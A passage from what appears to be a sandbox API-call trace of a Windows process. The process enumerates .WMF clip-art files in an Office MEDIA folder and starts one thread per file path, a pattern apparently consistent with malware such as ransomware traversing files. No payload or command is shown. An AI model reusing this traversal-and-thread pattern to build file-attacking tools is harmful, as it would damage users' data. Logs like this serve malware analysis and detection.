(HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8a28 [0150.129] wcscpy (in: _Dest=0x8f8a28, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.129] wcscat (in: _Dest=0x8f8a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.129] wcscat (in: _Dest=0x8f8a28, _Source="J0183290.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" [0150.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334 [0150.688] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0150.688] wcscmp (_String1="J0183328.WMF", _String2=".") returned 1 [0150.688] wcscmp (_String1="J0183328.WMF", _String2="..") returned 1 [0150.688] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8808 [0150.688] wcscpy (in: _Dest=0x8f8808, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.688] wcscat (in: _Dest=0x8f8808, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.688] wcscat (in: _Dest=0x8f8808, _Source="J0183328.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" [0150.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34 [0150.689] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0150.689] wcscmp (_String1="J0185604.WMF", _String2=".") returned 1 [0150.689] wcscmp (_String1="J0185604.WMF", _String2="..") returned 1 [0150.689] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7df0 [0150.689] wcscpy (in: _Dest=0x8f7df0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.690] wcscat (in: _Dest=0x8f7df0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.690] wcscat (in: _Dest=0x8f7df0, _Source="J0185604.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" [0150.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38 [0150.691] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0150.691] wcscmp (_String1="J0186002.WMF", _String2=".") returned 1 [0150.691] wcscmp (_String1="J0186002.WMF", _String2="..") returned 1 [0150.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50390 [0150.691] wcscpy (in: _Dest=0x12c50390, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.691] wcscat (in: _Dest=0x12c50390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.691] wcscat (in: _Dest=0x12c50390, _Source="J0186002.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" [0150.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c [0150.692] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0150.692] wcscmp (_String1="J0186348.WMF", _String2=".") returned 1 [0150.692] wcscmp (_String1="J0186348.WMF", _String2="..") returned 1 [0150.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50418 [0150.692] wcscpy (in: _Dest=0x12c50418, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.692] wcscat (in: _Dest=0x12c50418, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.692] wcscat (in: _Dest=0x12c50418, _Source="J0186348.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" [0150.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40 [0150.693] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0150.693] wcscmp (_String1="J0187423.WMF", _String2=".") returned 1 [0150.693] wcscmp (_String1="J0187423.WMF", _String2="..") returned 1 [0150.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c504a0 [0150.693] wcscpy (in: _Dest=0x12c504a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.693] wcscat (in: _Dest=0x12c504a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.693] wcscat (in: _Dest=0x12c504a0, _Source="J0187423.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" [0150.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c504a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44 [0150.694] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0150.694] wcscmp (_String1="J0195384.WMF", _String2=".") returned 1 [0150.694] wcscmp (_String1="J0195384.WMF", _String2="..") returned 1 [0150.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50528 [0150.694] wcscpy (in: _Dest=0x12c50528, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.694] wcscat (in: _Dest=0x12c50528, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.695] wcscat (in: _Dest=0x12c50528, _Source="J0195384.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" [0150.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48 [0150.695] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0150.695] wcscmp (_String1="J0195534.WMF", _String2=".") returned 1 [0150.695] wcscmp (_String1="J0195534.WMF", _String2="..") returned 1 [0150.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c505b0 [0150.696] wcscpy (in: _Dest=0x12c505b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.696] wcscat (in: _Dest=0x12c505b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.696] wcscat (in: _Dest=0x12c505b0, _Source="J0195534.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" [0150.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c505b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c [0150.697] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0150.697] wcscmp (_String1="J0195812.WMF", _String2=".") returned 1 [0150.697] wcscmp (_String1="J0195812.WMF", _String2="..") returned 1 [0150.697] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50638 [0150.697] wcscpy (in: _Dest=0x12c50638, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.697] wcscat (in: _Dest=0x12c50638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.697] wcscat (in: _Dest=0x12c50638, _Source="J0195812.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" [0150.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50 [0150.698] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0150.698] wcscmp (_String1="J0196164.WMF", _String2=".") returned 1 [0150.698] wcscmp (_String1="J0196164.WMF", _String2="..") returned 1 [0150.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c506c0 [0150.698] wcscpy (in: _Dest=0x12c506c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.698] wcscat (in: _Dest=0x12c506c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.698] wcscat (in: _Dest=0x12c506c0, _Source="J0196164.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" [0150.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c506c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54 [0150.699] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0150.699] wcscmp (_String1="J0196374.WMF", _String2=".") returned 1 [0150.699] wcscmp (_String1="J0196374.WMF", _String2="..") returned 1 [0150.699] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50748 [0150.699] wcscpy (in: _Dest=0x12c50748, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.699] wcscat (in: _Dest=0x12c50748, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.699] wcscat (in: _Dest=0x12c50748, _Source="J0196374.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" [0150.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58 [0150.700] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0150.700] wcscmp (_String1="J0196400.WMF", _String2=".") returned 1 [0150.700] wcscmp (_String1="J0196400.WMF", _String2="..") returned 1 [0150.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c507d0 [0150.700] wcscpy (in: _Dest=0x12c507d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.700] wcscat (in: _Dest=0x12c507d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.700] wcscat (in: _Dest=0x12c507d0, _Source="J0196400.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" [0150.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c507d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c [0150.701] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0150.701] wcscmp (_String1="J0199036.WMF", _String2=".") returned 1 [0150.701] wcscmp (_String1="J0199036.WMF", _String2="..") returned 1 [0150.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50858 [0150.701] wcscpy (in: _Dest=0x12c50858, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.701] wcscat (in: _Dest=0x12c50858, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.702] wcscat (in: _Dest=0x12c50858, _Source="J0199036.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" [0150.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60 [0150.702] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0150.702] wcscmp (_String1="J0199283.WMF", _String2=".") returned 1 [0150.702] wcscmp (_String1="J0199283.WMF", _String2="..") returned 1 [0150.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c508e0 [0150.703] wcscpy (in: _Dest=0x12c508e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.703] wcscat (in: _Dest=0x12c508e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.703] wcscat (in: _Dest=0x12c508e0, _Source="J0199283.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" [0150.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c508e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a64 [0150.704] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0150.704] wcscmp (_String1="J0199549.WMF", _String2=".") returned 1 [0150.704] wcscmp (_String1="J0199549.WMF", _String2="..") returned 1 [0150.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50968 [0150.704] wcscpy (in: _Dest=0x12c50968, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.704] wcscat (in: _Dest=0x12c50968, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.704] wcscat (in: _Dest=0x12c50968, _Source="J0199549.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" [0150.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a68 [0150.705] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0150.705] wcscmp (_String1="J0199661.WMF", _String2=".") returned 1 [0150.705] wcscmp (_String1="J0199661.WMF", _String2="..") returned 1 [0150.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c509f0 [0150.705] wcscpy (in: _Dest=0x12c509f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0150.705] wcscat (in: _Dest=0x12c509f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0150.705] wcscat (in: _Dest=0x12c509f0, _Source="J0199661.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" [0150.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c509f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c [0150.706] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, 